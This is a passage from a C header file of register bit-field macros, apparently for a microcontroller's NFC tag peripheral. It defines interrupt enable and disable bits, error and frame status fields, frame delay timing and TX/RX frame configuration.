#define NFCT_INTENSET_COLLISION_Msk (0x1UL << NFCT_INTENSET_COLLISION_Pos) /*!< Bit mask of COLLISION field. */
#define NFCT_INTENSET_COLLISION_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_COLLISION_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_COLLISION_Set (1UL) /*!< Enable */
/* Bit 14 : Write '1' to Enable interrupt for AUTOCOLRESSTARTED event */
#define NFCT_INTENSET_AUTOCOLRESSTARTED_Pos (14UL) /*!< Position of AUTOCOLRESSTARTED field. */
#define NFCT_INTENSET_AUTOCOLRESSTARTED_Msk (0x1UL << NFCT_INTENSET_AUTOCOLRESSTARTED_Pos) /*!< Bit mask of AUTOCOLRESSTARTED field. */
#define NFCT_INTENSET_AUTOCOLRESSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_AUTOCOLRESSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_AUTOCOLRESSTARTED_Set (1UL) /*!< Enable */
/* Bit 12 : Write '1' to Enable interrupt for ENDTX event */
#define NFCT_INTENSET_ENDTX_Pos (12UL) /*!< Position of ENDTX field. */
#define NFCT_INTENSET_ENDTX_Msk (0x1UL << NFCT_INTENSET_ENDTX_Pos) /*!< Bit mask of ENDTX field. */
#define NFCT_INTENSET_ENDTX_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_ENDTX_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_ENDTX_Set (1UL) /*!< Enable */
/* Bit 11 : Write '1' to Enable interrupt for ENDRX event */
#define NFCT_INTENSET_ENDRX_Pos (11UL) /*!< Position of ENDRX field. */
#define NFCT_INTENSET_ENDRX_Msk (0x1UL << NFCT_INTENSET_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define NFCT_INTENSET_ENDRX_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_ENDRX_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_ENDRX_Set (1UL) /*!< Enable */
/* Bit 10 : Write '1' to Enable interrupt for RXERROR event */
#define NFCT_INTENSET_RXERROR_Pos (10UL) /*!< Position of RXERROR field. */
#define NFCT_INTENSET_RXERROR_Msk (0x1UL << NFCT_INTENSET_RXERROR_Pos) /*!< Bit mask of RXERROR field. */
#define NFCT_INTENSET_RXERROR_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_RXERROR_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_RXERROR_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for ERROR event */
#define NFCT_INTENSET_ERROR_Pos (7UL) /*!< Position of ERROR field. */
#define NFCT_INTENSET_ERROR_Msk (0x1UL << NFCT_INTENSET_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define NFCT_INTENSET_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_ERROR_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable interrupt for RXFRAMEEND event */
#define NFCT_INTENSET_RXFRAMEEND_Pos (6UL) /*!< Position of RXFRAMEEND field. */
#define NFCT_INTENSET_RXFRAMEEND_Msk (0x1UL << NFCT_INTENSET_RXFRAMEEND_Pos) /*!< Bit mask of RXFRAMEEND field. */
#define NFCT_INTENSET_RXFRAMEEND_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_RXFRAMEEND_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_RXFRAMEEND_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable interrupt for RXFRAMESTART event */
#define NFCT_INTENSET_RXFRAMESTART_Pos (5UL) /*!< Position of RXFRAMESTART field. */
#define NFCT_INTENSET_RXFRAMESTART_Msk (0x1UL << NFCT_INTENSET_RXFRAMESTART_Pos) /*!< Bit mask of RXFRAMESTART field. */
#define NFCT_INTENSET_RXFRAMESTART_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_RXFRAMESTART_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_RXFRAMESTART_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for TXFRAMEEND event */
#define NFCT_INTENSET_TXFRAMEEND_Pos (4UL) /*!< Position of TXFRAMEEND field. */
#define NFCT_INTENSET_TXFRAMEEND_Msk (0x1UL << NFCT_INTENSET_TXFRAMEEND_Pos) /*!< Bit mask of TXFRAMEEND field. */
#define NFCT_INTENSET_TXFRAMEEND_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_TXFRAMEEND_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_TXFRAMEEND_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for TXFRAMESTART event */
#define NFCT_INTENSET_TXFRAMESTART_Pos (3UL) /*!< Position of TXFRAMESTART field. */
#define NFCT_INTENSET_TXFRAMESTART_Msk (0x1UL << NFCT_INTENSET_TXFRAMESTART_Pos) /*!< Bit mask of TXFRAMESTART field. */
#define NFCT_INTENSET_TXFRAMESTART_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_TXFRAMESTART_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_TXFRAMESTART_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for FIELDLOST event */
#define NFCT_INTENSET_FIELDLOST_Pos (2UL) /*!< Position of FIELDLOST field. */
#define NFCT_INTENSET_FIELDLOST_Msk (0x1UL << NFCT_INTENSET_FIELDLOST_Pos) /*!< Bit mask of FIELDLOST field. */
#define NFCT_INTENSET_FIELDLOST_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_FIELDLOST_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_FIELDLOST_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for FIELDDETECTED event */
#define NFCT_INTENSET_FIELDDETECTED_Pos (1UL) /*!< Position of FIELDDETECTED field. */
#define NFCT_INTENSET_FIELDDETECTED_Msk (0x1UL << NFCT_INTENSET_FIELDDETECTED_Pos) /*!< Bit mask of FIELDDETECTED field. */
#define NFCT_INTENSET_FIELDDETECTED_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_FIELDDETECTED_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_FIELDDETECTED_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for READY event */
#define NFCT_INTENSET_READY_Pos (0UL) /*!< Position of READY field. */
#define NFCT_INTENSET_READY_Msk (0x1UL << NFCT_INTENSET_READY_Pos) /*!< Bit mask of READY field. */
#define NFCT_INTENSET_READY_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_READY_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_READY_Set (1UL) /*!< Enable */
/* Register: NFCT_INTENCLR */
/* Description: Disable interrupt */
/* Bit 20 : Write '1' to Disable interrupt for STARTED event */
#define NFCT_INTENCLR_STARTED_Pos (20UL) /*!< Position of STARTED field. */
#define NFCT_INTENCLR_STARTED_Msk (0x1UL << NFCT_INTENCLR_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define NFCT_INTENCLR_STARTED_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_STARTED_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_STARTED_Clear (1UL) /*!< Disable */
/* Bit 19 : Write '1' to Disable interrupt for SELECTED event */
#define NFCT_INTENCLR_SELECTED_Pos (19UL) /*!< Position of SELECTED field. */
#define NFCT_INTENCLR_SELECTED_Msk (0x1UL << NFCT_INTENCLR_SELECTED_Pos) /*!< Bit mask of SELECTED field. */
#define NFCT_INTENCLR_SELECTED_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_SELECTED_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_SELECTED_Clear (1UL) /*!< Disable */
/* Bit 18 : Write '1' to Disable interrupt for COLLISION event */
#define NFCT_INTENCLR_COLLISION_Pos (18UL) /*!< Position of COLLISION field. */
#define NFCT_INTENCLR_COLLISION_Msk (0x1UL << NFCT_INTENCLR_COLLISION_Pos) /*!< Bit mask of COLLISION field. */
#define NFCT_INTENCLR_COLLISION_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_COLLISION_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_COLLISION_Clear (1UL) /*!< Disable */
/* Bit 14 : Write '1' to Disable interrupt for AUTOCOLRESSTARTED event */
#define NFCT_INTENCLR_AUTOCOLRESSTARTED_Pos (14UL) /*!< Position of AUTOCOLRESSTARTED field. */
#define NFCT_INTENCLR_AUTOCOLRESSTARTED_Msk (0x1UL << NFCT_INTENCLR_AUTOCOLRESSTARTED_Pos) /*!< Bit mask of AUTOCOLRESSTARTED field. */
#define NFCT_INTENCLR_AUTOCOLRESSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_AUTOCOLRESSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_AUTOCOLRESSTARTED_Clear (1UL) /*!< Disable */
/* Bit 12 : Write '1' to Disable interrupt for ENDTX event */
#define NFCT_INTENCLR_ENDTX_Pos (12UL) /*!< Position of ENDTX field. */
#define NFCT_INTENCLR_ENDTX_Msk (0x1UL << NFCT_INTENCLR_ENDTX_Pos) /*!< Bit mask of ENDTX field. */
#define NFCT_INTENCLR_ENDTX_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_ENDTX_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_ENDTX_Clear (1UL) /*!< Disable */
/* Bit 11 : Write '1' to Disable interrupt for ENDRX event */
#define NFCT_INTENCLR_ENDRX_Pos (11UL) /*!< Position of ENDRX field. */
#define NFCT_INTENCLR_ENDRX_Msk (0x1UL << NFCT_INTENCLR_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define NFCT_INTENCLR_ENDRX_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_ENDRX_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_ENDRX_Clear (1UL) /*!< Disable */
/* Bit 10 : Write '1' to Disable interrupt for RXERROR event */
#define NFCT_INTENCLR_RXERROR_Pos (10UL) /*!< Position of RXERROR field. */
#define NFCT_INTENCLR_RXERROR_Msk (0x1UL << NFCT_INTENCLR_RXERROR_Pos) /*!< Bit mask of RXERROR field. */
#define NFCT_INTENCLR_RXERROR_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_RXERROR_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_RXERROR_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable interrupt for ERROR event */
#define NFCT_INTENCLR_ERROR_Pos (7UL) /*!< Position of ERROR field. */
#define NFCT_INTENCLR_ERROR_Msk (0x1UL << NFCT_INTENCLR_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define NFCT_INTENCLR_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_ERROR_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable interrupt for RXFRAMEEND event */
#define NFCT_INTENCLR_RXFRAMEEND_Pos (6UL) /*!< Position of RXFRAMEEND field. */
#define NFCT_INTENCLR_RXFRAMEEND_Msk (0x1UL << NFCT_INTENCLR_RXFRAMEEND_Pos) /*!< Bit mask of RXFRAMEEND field. */
#define NFCT_INTENCLR_RXFRAMEEND_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_RXFRAMEEND_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_RXFRAMEEND_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable interrupt for RXFRAMESTART event */
#define NFCT_INTENCLR_RXFRAMESTART_Pos (5UL) /*!< Position of RXFRAMESTART field. */
#define NFCT_INTENCLR_RXFRAMESTART_Msk (0x1UL << NFCT_INTENCLR_RXFRAMESTART_Pos) /*!< Bit mask of RXFRAMESTART field. */
#define NFCT_INTENCLR_RXFRAMESTART_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_RXFRAMESTART_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_RXFRAMESTART_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for TXFRAMEEND event */
#define NFCT_INTENCLR_TXFRAMEEND_Pos (4UL) /*!< Position of TXFRAMEEND field. */
#define NFCT_INTENCLR_TXFRAMEEND_Msk (0x1UL << NFCT_INTENCLR_TXFRAMEEND_Pos) /*!< Bit mask of TXFRAMEEND field. */
#define NFCT_INTENCLR_TXFRAMEEND_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_TXFRAMEEND_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_TXFRAMEEND_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for TXFRAMESTART event */
#define NFCT_INTENCLR_TXFRAMESTART_Pos (3UL) /*!< Position of TXFRAMESTART field. */
#define NFCT_INTENCLR_TXFRAMESTART_Msk (0x1UL << NFCT_INTENCLR_TXFRAMESTART_Pos) /*!< Bit mask of TXFRAMESTART field. */
#define NFCT_INTENCLR_TXFRAMESTART_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_TXFRAMESTART_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_TXFRAMESTART_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for FIELDLOST event */
#define NFCT_INTENCLR_FIELDLOST_Pos (2UL) /*!< Position of FIELDLOST field. */
#define NFCT_INTENCLR_FIELDLOST_Msk (0x1UL << NFCT_INTENCLR_FIELDLOST_Pos) /*!< Bit mask of FIELDLOST field. */
#define NFCT_INTENCLR_FIELDLOST_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_FIELDLOST_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_FIELDLOST_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for FIELDDETECTED event */
#define NFCT_INTENCLR_FIELDDETECTED_Pos (1UL) /*!< Position of FIELDDETECTED field. */
#define NFCT_INTENCLR_FIELDDETECTED_Msk (0x1UL << NFCT_INTENCLR_FIELDDETECTED_Pos) /*!< Bit mask of FIELDDETECTED field. */
#define NFCT_INTENCLR_FIELDDETECTED_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_FIELDDETECTED_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_FIELDDETECTED_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for READY event */
#define NFCT_INTENCLR_READY_Pos (0UL) /*!< Position of READY field. */
#define NFCT_INTENCLR_READY_Msk (0x1UL << NFCT_INTENCLR_READY_Pos) /*!< Bit mask of READY field. */
#define NFCT_INTENCLR_READY_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENCLR_READY_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENCLR_READY_Clear (1UL) /*!< Disable */
/* Register: NFCT_ERRORSTATUS */
/* Description: NFC Error Status register */
/* Bit 3 : Field level is too low at min load resistance */
#define NFCT_ERRORSTATUS_NFCFIELDTOOWEAK_Pos (3UL) /*!< Position of NFCFIELDTOOWEAK field. */
#define NFCT_ERRORSTATUS_NFCFIELDTOOWEAK_Msk (0x1UL << NFCT_ERRORSTATUS_NFCFIELDTOOWEAK_Pos) /*!< Bit mask of NFCFIELDTOOWEAK field. */
/* Bit 2 : Field level is too high at max load resistance */
#define NFCT_ERRORSTATUS_NFCFIELDTOOSTRONG_Pos (2UL) /*!< Position of NFCFIELDTOOSTRONG field. */
#define NFCT_ERRORSTATUS_NFCFIELDTOOSTRONG_Msk (0x1UL << NFCT_ERRORSTATUS_NFCFIELDTOOSTRONG_Pos) /*!< Bit mask of NFCFIELDTOOSTRONG field. */
/* Bit 0 : No STARTTX task triggered before expiration of the time set in FRAMEDELAYMAX */
#define NFCT_ERRORSTATUS_FRAMEDELAYTIMEOUT_Pos (0UL) /*!< Position of FRAMEDELAYTIMEOUT field. */
#define NFCT_ERRORSTATUS_FRAMEDELAYTIMEOUT_Msk (0x1UL << NFCT_ERRORSTATUS_FRAMEDELAYTIMEOUT_Pos) /*!< Bit mask of FRAMEDELAYTIMEOUT field. */
/* Register: NFCT_FRAMESTATUS_RX */
/* Description: Result of last incoming frames */
/* Bit 3 : Overrun detected */
#define NFCT_FRAMESTATUS_RX_OVERRUN_Pos (3UL) /*!< Position of OVERRUN field. */
#define NFCT_FRAMESTATUS_RX_OVERRUN_Msk (0x1UL << NFCT_FRAMESTATUS_RX_OVERRUN_Pos) /*!< Bit mask of OVERRUN field. */
#define NFCT_FRAMESTATUS_RX_OVERRUN_NoOverrun (0UL) /*!< No overrun detected */
#define NFCT_FRAMESTATUS_RX_OVERRUN_Overrun (1UL) /*!< Overrun error */
/* Bit 2 : Parity status of received frame */
#define NFCT_FRAMESTATUS_RX_PARITYSTATUS_Pos (2UL) /*!< Position of PARITYSTATUS field. */
#define NFCT_FRAMESTATUS_RX_PARITYSTATUS_Msk (0x1UL << NFCT_FRAMESTATUS_RX_PARITYSTATUS_Pos) /*!< Bit mask of PARITYSTATUS field. */
#define NFCT_FRAMESTATUS_RX_PARITYSTATUS_ParityOK (0UL) /*!< Frame received with parity OK */
#define NFCT_FRAMESTATUS_RX_PARITYSTATUS_ParityError (1UL) /*!< Frame received with parity error */
/* Bit 0 : No valid End of Frame detected */
#define NFCT_FRAMESTATUS_RX_CRCERROR_Pos (0UL) /*!< Position of CRCERROR field. */
#define NFCT_FRAMESTATUS_RX_CRCERROR_Msk (0x1UL << NFCT_FRAMESTATUS_RX_CRCERROR_Pos) /*!< Bit mask of CRCERROR field. */
#define NFCT_FRAMESTATUS_RX_CRCERROR_CRCCorrect (0UL) /*!< Valid CRC detected */
#define NFCT_FRAMESTATUS_RX_CRCERROR_CRCError (1UL) /*!< CRC received does not match local check */
/* Register: NFCT_CURRENTLOADCTRL */
/* Description: Current value driven to the NFC Load Control */
/* Bits 5..0 : Current value driven to the NFC Load Control */
#define NFCT_CURRENTLOADCTRL_CURRENTLOADCTRL_Pos (0UL) /*!< Position of CURRENTLOADCTRL field. */
#define NFCT_CURRENTLOADCTRL_CURRENTLOADCTRL_Msk (0x3FUL << NFCT_CURRENTLOADCTRL_CURRENTLOADCTRL_Pos) /*!< Bit mask of CURRENTLOADCTRL field. */
/* Register: NFCT_FIELDPRESENT */
/* Description: Indicates the presence or not of a valid field */
/* Bit 1 : Indicates if the low level has locked to the field */
#define NFCT_FIELDPRESENT_LOCKDETECT_Pos (1UL) /*!< Position of LOCKDETECT field. */
#define NFCT_FIELDPRESENT_LOCKDETECT_Msk (0x1UL << NFCT_FIELDPRESENT_LOCKDETECT_Pos) /*!< Bit mask of LOCKDETECT field. */
#define NFCT_FIELDPRESENT_LOCKDETECT_NotLocked (0UL) /*!< Not locked to field */
#define NFCT_FIELDPRESENT_LOCKDETECT_Locked (1UL) /*!< Locked to field */
/* Bit 0 : Indicates the presence or not of a valid field. Available only in the activated state. */
#define NFCT_FIELDPRESENT_FIELDPRESENT_Pos (0UL) /*!< Position of FIELDPRESENT field. */
#define NFCT_FIELDPRESENT_FIELDPRESENT_Msk (0x1UL << NFCT_FIELDPRESENT_FIELDPRESENT_Pos) /*!< Bit mask of FIELDPRESENT field. */
#define NFCT_FIELDPRESENT_FIELDPRESENT_NoField (0UL) /*!< No valid field detected */
#define NFCT_FIELDPRESENT_FIELDPRESENT_FieldPresent (1UL) /*!< Valid field detected */
/* Register: NFCT_FRAMEDELAYMIN */
/* Description: Minimum frame delay */
/* Bits 15..0 : Minimum frame delay in number of 13.56 MHz clocks */
#define NFCT_FRAMEDELAYMIN_FRAMEDELAYMIN_Pos (0UL) /*!< Position of FRAMEDELAYMIN field. */
#define NFCT_FRAMEDELAYMIN_FRAMEDELAYMIN_Msk (0xFFFFUL << NFCT_FRAMEDELAYMIN_FRAMEDELAYMIN_Pos) /*!< Bit mask of FRAMEDELAYMIN field. */
/* Register: NFCT_FRAMEDELAYMAX */
/* Description: Maximum frame delay */
/* Bits 15..0 : Maximum frame delay in number of 13.56 MHz clocks */
#define NFCT_FRAMEDELAYMAX_FRAMEDELAYMAX_Pos (0UL) /*!< Position of FRAMEDELAYMAX field. */
#define NFCT_FRAMEDELAYMAX_FRAMEDELAYMAX_Msk (0xFFFFUL << NFCT_FRAMEDELAYMAX_FRAMEDELAYMAX_Pos) /*!< Bit mask of FRAMEDELAYMAX field. */
/* Register: NFCT_FRAMEDELAYMODE */
/* Description: Configuration register for the Frame Delay Timer */
/* Bits 1..0 : Configuration register for the Frame Delay Timer */
#define NFCT_FRAMEDELAYMODE_FRAMEDELAYMODE_Pos (0UL) /*!< Position of FRAMEDELAYMODE field. */
#define NFCT_FRAMEDELAYMODE_FRAMEDELAYMODE_Msk (0x3UL << NFCT_FRAMEDELAYMODE_FRAMEDELAYMODE_Pos) /*!< Bit mask of FRAMEDELAYMODE field. */
#define NFCT_FRAMEDELAYMODE_FRAMEDELAYMODE_FreeRun (0UL) /*!< Transmission is independent of frame timer and will start when the STARTTX task is triggered. No timeout. */
#define NFCT_FRAMEDELAYMODE_FRAMEDELAYMODE_Window (1UL) /*!< Frame is transmitted between FRAMEDELAYMIN and FRAMEDELAYMAX */
#define NFCT_FRAMEDELAYMODE_FRAMEDELAYMODE_ExactVal (2UL) /*!< Frame is transmitted exactly at FRAMEDELAYMAX */
#define NFCT_FRAMEDELAYMODE_FRAMEDELAYMODE_WindowGrid (3UL) /*!< Frame is transmitted on a bit grid between FRAMEDELAYMIN and FRAMEDELAYMAX */
/* Register: NFCT_PACKETPTR */
/* Description: Packet pointer for TXD and RXD data storage in Data RAM */
/* Bits 31..0 : Packet pointer for TXD and RXD data storage in Data RAM. This address is a byte aligned RAM address. */
#define NFCT_PACKETPTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define NFCT_PACKETPTR_PTR_Msk (0xFFFFFFFFUL << NFCT_PACKETPTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: NFCT_MAXLEN */
/* Description: Size of allocated for TXD and RXD data storage buffer in Data RAM */
/* Bits 8..0 : Size of allocated for TXD and RXD data storage buffer in Data RAM */
#define NFCT_MAXLEN_MAXLEN_Pos (0UL) /*!< Position of MAXLEN field. */
#define NFCT_MAXLEN_MAXLEN_Msk (0x1FFUL << NFCT_MAXLEN_MAXLEN_Pos) /*!< Bit mask of MAXLEN field. */
/* Register: NFCT_TXD_FRAMECONFIG */
/* Description: Configuration of outgoing frames */
/* Bit 4 : CRC mode for outgoing frames */
#define NFCT_TXD_FRAMECONFIG_CRCMODETX_Pos (4UL) /*!< Position of CRCMODETX field. */
#define NFCT_TXD_FRAMECONFIG_CRCMODETX_Msk (0x1UL << NFCT_TXD_FRAMECONFIG_CRCMODETX_Pos) /*!< Bit mask of CRCMODETX field. */
#define NFCT_TXD_FRAMECONFIG_CRCMODETX_NoCRCTX (0UL) /*!< CRC is not added to the frame */
#define NFCT_TXD_FRAMECONFIG_CRCMODETX_CRC16TX (1UL) /*!< 16 bit CRC added to the frame based on all the data read from RAM that is used in the frame */
/* Bit 2 : Adding SoF or not in TX frames */
#define NFCT_TXD_FRAMECONFIG_SOF_Pos (2UL) /*!< Position of SOF field. */
#define NFCT_TXD_FRAMECONFIG_SOF_Msk (0x1UL << NFCT_TXD_FRAMECONFIG_SOF_Pos) /*!< Bit mask of SOF field. */
#define NFCT_TXD_FRAMECONFIG_SOF_NoSoF (0UL) /*!< Start of Frame symbol not added */
#define NFCT_TXD_FRAMECONFIG_SOF_SoF (1UL) /*!< Start of Frame symbol added */
/* Bit 1 : Discarding unused bits in start or at end of a Frame */
#define NFCT_TXD_FRAMECONFIG_DISCARDMODE_Pos (1UL) /*!< Position of DISCARDMODE field. */
#define NFCT_TXD_FRAMECONFIG_DISCARDMODE_Msk (0x1UL << NFCT_TXD_FRAMECONFIG_DISCARDMODE_Pos) /*!< Bit mask of DISCARDMODE field. */
#define NFCT_TXD_FRAMECONFIG_DISCARDMODE_DiscardEnd (0UL) /*!< Unused bits is discarded at end of frame */
#define NFCT_TXD_FRAMECONFIG_DISCARDMODE_DiscardStart (1UL) /*!< Unused bits is discarded at start of frame */
/* Bit 0 : Adding parity or not in the frame */
#define NFCT_TXD_FRAMECONFIG_PARITY_Pos (0UL) /*!< Position of PARITY field. */
#define NFCT_TXD_FRAMECONFIG_PARITY_Msk (0x1UL << NFCT_TXD_FRAMECONFIG_PARITY_Pos) /*!< Bit mask of PARITY field. */
#define NFCT_TXD_FRAMECONFIG_PARITY_NoParity (0UL) /*!< Parity is not added in TX frames */
#define NFCT_TXD_FRAMECONFIG_PARITY_Parity (1UL) /*!< Parity is added TX frames */
/* Register: NFCT_TXD_AMOUNT */
/* Description: Size of outgoing frame */
/* Bits 11..3 : Number of complete bytes that shall be included in the frame, excluding CRC, parity and framing */
#define NFCT_TXD_AMOUNT_TXDATABYTES_Pos (3UL) /*!< Position of TXDATABYTES field. */
#define NFCT_TXD_AMOUNT_TXDATABYTES_Msk (0x1FFUL << NFCT_TXD_AMOUNT_TXDATABYTES_Pos) /*!< Bit mask of TXDATABYTES field. */
/* Bits 2..0 : Number of bits in the last or first byte read from RAM that shall be included in the frame (excluding parity bit). */
#define NFCT_TXD_AMOUNT_TXDATABITS_Pos (0UL) /*!< Position of TXDATABITS field. */
#define NFCT_TXD_AMOUNT_TXDATABITS_Msk (0x7UL << NFCT_TXD_AMOUNT_TXDATABITS_Pos) /*!< Bit mask of TXDATABITS field. */
/* Register: NFCT_RXD_FRAMECONFIG */
/* Description: Configuration of incoming frames */
/* Bit 4 : CRC mode for incoming frames */
#define NFCT_RXD_FRAMECONFIG_CRCMODERX_Pos (4UL) /*!< Position of CRCMODERX field. */
#define NFCT_RXD_FRAMECONFIG_CRCMODERX_Msk (0x1UL << NFCT_RXD_FRAMECONFIG_CRCMODERX_Pos) /*!< Bit mask of CRCMODERX field. */
#define NFCT_RXD_FRAMECONFIG_CRCMODERX_NoCRCRX (0UL) /*!< CRC is not expected in RX frames */
#define NFCT_RXD_FRAMECONFIG_CRCMODERX_CRC16RX (1UL) /*!< Last 16 bits in RX frame is CRC, CRC is checked and CRCSTATUS updated */
/* Bit 2 : SoF expected or not in RX frames */
#define NFCT_RXD_FRAMECONFIG_SOF_Pos (2UL) /*!< Position of SOF field. */
#define NFCT_RXD_FRAMECONFIG_SOF_Msk (0x1UL << NFCT_RXD_FRAMECONFIG_SOF_Pos) /*!< Bit mask of SOF field. */
#define NFCT_RXD_FRAMECONFIG_SOF_NoSoF (0UL) /*!< Start of Frame symbol is not expected in RX frames */
#define NFCT_RXD_FRAMECONFIG_SOF_SoF (1UL) /*!< Start of Frame symbol is expected in RX frames */
/* Bit 0 : Parity expected or not in RX frame */
#define NFCT_RXD_FRAMECONFIG_PARITY_Pos (0UL) /*!< Position of PARITY field. */
#define NFCT_RXD_FRAMECONFIG_PARITY_Msk (0x1UL << NFCT_RXD_FRAMECONFIG_PARITY_Pos) /*!< Bit mask of PARITY field. */
#define NFCT_RXD_FRAMECONFIG_PARITY_NoParity (0UL) /*!< Parity is not expected in RX frames */
#define NFCT_RXD_FRAMECONFIG_PARITY_Parity (1UL) /*!< Parity is expected in RX frames */
/* Register: NFCT_RXD_AMOUNT */
/* Description: Size of last incoming frame */
/* Bits 11..3 : Number of complete bytes received in the frame (including CRC, but excluding parity and SoF/EoF framing) */
#define NFCT_RXD_AMOUNT_RXDATABYTES_Pos (3UL) /*!< Position of RXDATABYTES field. */
#define NFCT_RXD_AMOUNT_RXDATABYTES_Msk (0x1FFUL << NFCT_RXD_AMOUNT_RXDATABYTES_Pos) /*!< Bit mask of RXDATABYTES field. */
/* Bits 2..0 : Number of bits in the last byte in the frame, if less than 8 (including CRC, but excluding parity and SoF/EoF framing). */
#define NFCT_RXD_AMOUNT_RXDATABITS_Pos (0UL) /*!< Position of RXDATABITS field. */
#define NFCT_RXD_AMOUNT_RXDATABITS_Msk (0x7UL << NFCT_RXD_AMOUNT_RXDATABITS_Pos) /*!< Bit mask of RXDATABITS field. */
/* Register: NFCT_NFCID1_LAST */
/* Description: Last NFCID1 part (4, 7 or 10 bytes ID) */
/* Bits 31..24 : NFCID1 byte W */
#define NFCT_NFCID1_LAST_NFCID1_W_Pos (24UL) /*!< Position of NFCID1_W field. */
#define NFCT_NFCID1_LAST_NFCID1_W_Msk (0xFFUL << NFCT_NFCID1_LAST_NFCID1_W_Pos) /*!< Bit mask of NFCID1_W field. */
/* Bits 23..16 : NFCID1 byte X */
#define NFCT_NFCID1_LAST_NFCID1_X_Pos (16UL) /*!< Position of NFCID1_X field. */
#define NFCT_NFCID1_LAST_NFCID1_X_Msk (0xFFUL << NFCT_NFCID1_LAST_NFCID1_X_Pos) /*!< Bit mask of NFCID1_X field. */
/* Bits 15..8 : NFCID1 byte Y */
#define NFCT_NFCID1_LAST_NFCID1_Y_Pos (8UL) /*!< Position of NFCID1_Y field. */
#define NFCT_NFCID1_LAST_NFCID1_Y_Msk (0xFFUL << NFCT_NFCID1_LAST_NFCID1_Y_Pos) /*!< Bit mask of NFCID1_Y field. */
